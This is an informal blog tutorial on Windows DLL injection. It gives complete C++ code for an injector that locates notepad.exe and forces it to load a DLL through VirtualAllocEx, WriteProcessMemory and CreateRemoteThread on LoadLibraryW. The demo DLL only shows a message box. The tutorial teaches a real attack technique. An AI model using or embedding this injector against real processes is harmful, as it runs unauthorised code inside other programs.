index

Season Passes?

Hello comrade, welcome back! 🪖
This is a continuation of Basic Process Injection, because we’re going to use the same program but with a little twisty-twist: DLL injection.

Explanation (DLL injection WHAT???)

I briefly mentioned it here.
A DLL is basically a collection of data and functions that an application can call and use.

Think of it like a Python pip module — you can import it anywhere.

NUKE

For the nuke we’re about to build, we only need two things:

A malicious, ultra-dangerous DLL.
A humble program.exe (our injector) that loads and executes it.

Surprising, I know.

Here’s a high-level look at what we’re building:

As always, we’ll start by creating a function to enumerate running processes.
Then, just like in the previous post, we’ll snag a handle to our target process - let’s say notepad.exe.

Next, we allocate memory inside the target process and set the right permissions.
Meanwhile, inside our injector, we get the module handle of kernel32.dll and find the address of LoadLibraryW.

Finally, we call CreateRemoteThread to make the target process run LoadLibraryW and load our malicious DLL.

dll injection diagram

DLL Injection — diagram

BOOM! 💥

Free DLC

Alright, before we dive into how the heck do we even build a DLL?

Let’s understand what a DLL looks like at the code level. Lucky for us, Microsoft already dropped the holy grail of documentation on the DllMain entry point.

DllMain entry point

They’re also kind enough to explain what each fdwReason means:

DllMain fdwReason table

I know that’s a lot of words. Honestly, sometimes I can’t stand them either.
But here’s the good news. We only really need to care about DLL_PROCESS_ATTACH.

Why DLL_PROCESS_ATTACH, you might ask? 🤔

Because that’s exactly when the DLL gets loaded into a process either when the process starts, or when we explicitly load it with LoadLibrary.

Creating the DLL

Alright, let’s build this thing.

For our “tool,” we’ll use Visual Studio, assuming you’re all cool people using VS. 😎
As always, create an empty project, then right-click on it and go to Properties.

Visual Studio properties

Visual Studio — properties

When the new window pops up, change the Configuration Type to Dynamic Library (.dll).
Then just click OK. Obviously.

Configuration type DLL

Configuration type — DLL

Now, let’s create our sweet, precious DLL 🤤.

What’s this DLL going to do? Super simple, it just spawns a message box with a cheeky message.
That’s it.

1
#include <windows.h>
2

3
BOOL WINAPI DllMain(HINSTANCE hModule, DWORD dReason, LPVOID lpvReserved)
4
{
5
  switch (dReason)
6
  {
7
  case DLL_PROCESS_ATTACH:
8
    MessageBoxW(NULL, L"WEE WOO WEE WOO", L"LOL TITLE", MB_OK);
9
    break;
10

11
  case DLL_THREAD_ATTACH:
12
  case DLL_THREAD_DETACH:
13
  case DLL_PROCESS_DETACH:
14
    break;
15
  }
16
  return TRUE;
17
}

Want to test your shiny new DLL? You can run it with rundll32.exe like so:

rundll32.exe .\weewoopDLL.dll, DllMain

Enumerate Processes

For enumerating processes, we’ll create a function that’s super straightforward.
How straightforward? Just copy the EnumerateProcess() function from the previous post.

Yes! It will enumerate processes until it finds our target.

1
HANDLE EnumerateProcess(LPCWSTR processName) {
2
  HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
3

4
  if (hSnapshot == INVALID_HANDLE_VALUE) {
5
    printf("[ERR] invalid process snapshots. [code]-> %ld\n", GetLastError());
6
    return NULL;
7
  }
8

9
  PROCESSENTRY32 pe;
10
  pe.dwSize = sizeof(pe);
11

12
  if (!Process32First(hSnapshot, &pe)) {
13
    printf("[ERR] could not enumerate processes. [code]-> %ld\n", GetLastError());
14
    return NULL;
15
  }
16

17
  do {
18
    if (_wcsicmp(pe.szExeFile, processName) == 0) {
19
      DWORD PID = pe.th32ProcessID;
20
      printf("[INF] trying to open handle on [program]-> %ls, on [pid]-> %d\n", processName, PID);
21

22
      HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
23
      if (hProcess == NULL) {
24
        printf("[ERR] could not open handle on [pid]-> %d, continuing...\n", PID);
25
      }
26
      else {
27
        printf("[INF] successfully got handle on [pid]-> %d\n", PID);
28
        CloseHandle(hSnapshot);
29
        return hProcess;
30
      }
31
    }
32
  } while (Process32Next(hSnapshot, &pe));
33

34
  CloseHandle(hSnapshot);
35
  return NULL;
36
}

This function just loops through all processes until it finds the one we want. Also, it takes processName as an argument.

LoadLibrary DLL

Welcome to the new stuff, comrade! Scary, I know. (Me too. 🥲)

So, to load a DLL we need to call LoadLibraryW. Correct! But how?
We can’t directly “code into” the target process.

Recall

When a program runs, it spins up its own process.
If we call LoadLibraryW directly, it’ll load the DLL into our injector process, not the target (notepad.exe).

So ladies and gentlemen, we can find the address of LoadLibraryW inside our own process (injector) by asking kernel32.dll.
That means we’re going to load it dynamically.

How?

We grab LoadLibraryW’s address from kernel32.dll.

If you peek at Kernel32.dll, you’ll see it indeed has LoadLibraryW. Great! Next, we get a handle to kernel32.dll with GetModuleHandle, then use GetProcAddress to fetch LoadLibraryW.

1
HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
2
FARPROC hLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
3

4
if (hLoadLibrary == NULL) {
5
  printf("[ERR] unable to get LoadLibraryW address. [code]-> %ld\n", GetLastError());
6
  return FALSE;
7
}
8
printf("[INF] LoadLibraryW was found at [address]-> %p\n", hLoadLibrary);

Why does this work?

Because Windows loads core DLLs like kernel32.dll at the same base address across processes, so we can pass that pointer straight into CreateRemoteThread.

It goes like this:

1. In Program.exe (injector):
   - GetModuleHandle("kernel32.dll") → returns 0x7C800000 (example)
   - GetProcAddress(handle, "LoadLibraryW") → returns 0x7C801234 (example)

2. In Notepad.exe (target):
   - kernel32.dll is ALSO loaded at 0x7C800000
   - LoadLibraryW is ALSO at 0x7C801234

3. CreateRemoteThread() runs a thread in notepad.exe starting at 0x7C801234
   - Which is literally LoadLibraryW inside notepad.exe

Allocate Memory in the Remote Process

Next, we allocate memory in the target process using VirtualAllocEx.
This is basically the same as before, just with a slight change - we’ll use PAGE_READWRITE instead of PAGE_EXECUTE_READWRITE.

1
printf("[INF] allocating [memory]-> %lld bytes\n", szdllPath);
2
LPVOID pBuff = VirtualAllocEx(hProcess, NULL, szdllPath, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
3

4
if (pBuff == NULL) {
5
  printf("[ERR] could not allocate memory. [code]-> %ld\n", GetLastError());
6
  return FALSE;
7
}
8
printf("[INF] successfully allocated at [address]-> %p\n", pBuff);

Writing Payload into Allocated Memory

So far, we’ve only allocated memory. Now let’s actually write our beautiful poem into that reserved space. We’ll use WriteProcessMemory.

1
SIZE_T szWrittenBytes = NULL;
2

3
if (WriteProcessMemory(hProcess, pBuff, dllPath, szdllPath, &szWrittenBytes) == 0) {
4
  printf("[ERR] could not write to memory. [code]-> %ld\n", GetLastError());
5
  return FALSE;
6
}
7
printf("[INF] successfully written payload to memory\n");

Executing the Payload

AH YES, comrade! Welcome to the last step. Feels like déjà vu, right?

To execute our sweet malicious DLL, we create a new thread inside the target process using CreateRemoteThread. We pass hLoadLibrary as the lpStartAddress and pBuff (our DLL path) as the lpParameter.

1
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)hLoadLibrary, pBuff, NULL, NULL);
2

3
if (hThread == NULL) {
4
  printf("[ERR] could not create new thread. [code]-> %ld\n", GetLastError());
5
  return FALSE;
6
}
7
printf("[INF] successfully created a thread.\n");

And just like that! ROCK AND ROLL, BABEHHH!! 🎸

Main Functions

As always, let’s put all the puzzle pieces together. We’ll have two main functions:

EnumerateProcess(LPCWSTR processName) to get a handle to the target process.
InjectDLL(hProcess, dllPath) to actually perform the injection.

1
#include <windows.h>
2
#include <iostream>
3
#include <tlhelp32.h>
4

5
HANDLE EnumerateProcess(LPCWSTR processName) {
6
  HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
7

8
  if (hSnapshot == INVALID_HANDLE_VALUE) {
9
    printf("[ERR] invalid process snapshots. [code]-> %ld\n", GetLastError());
10
    return NULL;
11
  }
12

13
  PROCESSENTRY32 pe;
14
  pe.dwSize = sizeof(pe);
15

16
  if (!Process32First(hSnapshot, &pe)) {
17
    printf("[ERR] could not enumerate processes. [code]-> %ld\n", GetLastError());
18
    return NULL;
19
  }
20

21
  do {
22
    if (_wcsicmp(pe.szExeFile, processName) == 0) {
23
      DWORD PID = pe.th32ProcessID;
24
      printf("[INF] trying to open handle on [program]-> %ls, on [pid]-> %d\n", processName, PID);
25

26
      HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
27
      if (hProcess == NULL) {
28
        printf("[ERR] could not open handle on [pid]-> %d, continuing...\n", PID);
29
      }
30
      else {
31
        printf("[INF] successfully got handle on [pid]-> %d\n", PID);
32
        CloseHandle(hSnapshot);
33
        return hProcess;
34
      }
35
    }
36
  } while (Process32Next(hSnapshot, &pe));
37

38
  CloseHandle(hSnapshot);
39
  return NULL;
40
}
41

42
BOOL InjectDLL(HANDLE hProcess, wchar_t dllPath[MAX_PATH]) {
43
  HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll");
44
  FARPROC hLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryW");
45

46
  if (hLoadLibrary == NULL) {
47
    printf("[ERR] unable to get LoadLibraryW address. [code]-> %ld\n", GetLastError());
48
    return FALSE;
49
  }
50
  printf("[INF] LoadLibraryW was found at [address]-> %p\n", hLoadLibrary);
51

52
  SIZE_T szdllPath = (wcslen(dllPath) + 1) * sizeof(dllPath);
53

54
  printf("[INF] allocating [memory]-> %lld bytes\n", szdllPath);
55
  LPVOID pBuff = VirtualAllocEx(hProcess, NULL, szdllPath, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
56

57
  if (pBuff == NULL) {
58
    printf("[ERR] could not allocate memory. [code]-> %ld\n", GetLastError());
59
    return FALSE;
60
  }
61
  printf("[INF] successfully allocated at [address]-> %p\n", pBuff);
62

63
  SIZE_T szWrittenBytes = NULL;
64

65
  if (WriteProcessMemory(hProcess, pBuff, dllPath, szdllPath, &szWrittenBytes) == 0) {
66
    printf("[ERR] could not write to memory. [code]-> %ld\n", GetLastError());
67
    return FALSE;
68
  }
69
  printf("[INF] successfully written payload to memory\n");
70

71
  HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)hLoadLibrary, pBuff, NULL, NULL);
72

73
  if (hThread == NULL) {
74
    printf("[ERR] could not create new thread. [code]-> %ld\n", GetLastError());
75
    return FALSE;
76
  }
77
  printf("[INF] successfully created a thread.\n");
78

79
  return TRUE;
80
}
81

82
int main(int argc, char* argv[]) {
83
  LPCWSTR processName = L"notepad.exe";
84
  wchar_t dllPath[MAX_PATH] = L"C:\\Users\\user\\Desktop\\weewoopDLL.dll";
85

86
  HANDLE hProcess = EnumerateProcess(processName);
87
  InjectDLL(hProcess, dllPath);
88

89
  return EXIT_FAILURE;
90
}

DLL sheesh

Now run your program. If everything works, you’ll see the MessageBox pop up… meaning our DLL was successfully injected and executed. 🎯

dll injection in action

DLL injection in action

Well comrades, you did really good today. As a reward, here are your bullets:

Basic DLL Injection